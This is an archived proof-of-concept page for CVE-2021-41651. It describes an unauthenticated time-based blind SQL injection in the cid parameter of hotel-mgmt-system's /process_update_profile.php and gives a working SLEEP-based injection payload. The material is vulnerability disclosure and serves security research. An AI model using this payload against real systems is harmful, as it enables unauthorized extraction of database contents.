Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41651 PoC — Hotel-Mgmt-System SQL注入漏洞

Source
Associated Vulnerability
Title:Hotel-Mgmt-System SQL注入漏洞 (CVE-2021-41651)
Description:Hotel-Mgmt-System是一个酒店管理系统。 Raymart DG / Ahmed Helal Hotel-mgmt-system 中存在SQL注入漏洞,恶意攻击者可以使用 process_update_profile.php 中的易受攻击的 cid 参数检索敏感的数据库信息并与数据库交互。
Readme
# CVE-2021-41651

CVE-2021-41651 SQL Injection in hotel-mgmt-system

The hotel-mgmt-system is vulnerable to un-authenticated time based blind SQL Injection attack.  <br/><br/>
The cid parameter on the /process_update_profile.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.  <br/><br/> 

## Link To Application
[hotel-mgmt-system](https://github.com/tramyardg/hotel-mgmt-system)

## Affected Components & Parameter
URL: **/process_update_profile.php**  
PARAMETER: **cid**<br/><br/>

## Poc's

### SQLMAP PAYLOADS<br/>
### cid parameter on the /process_update_profile.php page
Parameter: cid ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: `phone=123456778&cid=14 AND (SELECT 9048 FROM (SELECT(SLEEP(5)))zCfD)-- IKdVf&submitBtn=Update&fullName=James&email=me@you.com&newPassword=fasdfasdfasdfasdfasdf-`

### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![ POC - CID ](https://github.com/MobiusBinary/F3/blob/main/hotel.gif) 

## Discovered by
Jason Colyvas  
[MOBIUSBINARY](https://mobiusbinary.com)  
September 23rd, 2021
File Snapshot

[4.0K] /data/pocs/331074e23d7df6e99d491efde5e721c5d86a48d5 ├── [3.0M] hotel.gif └── [1.2K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.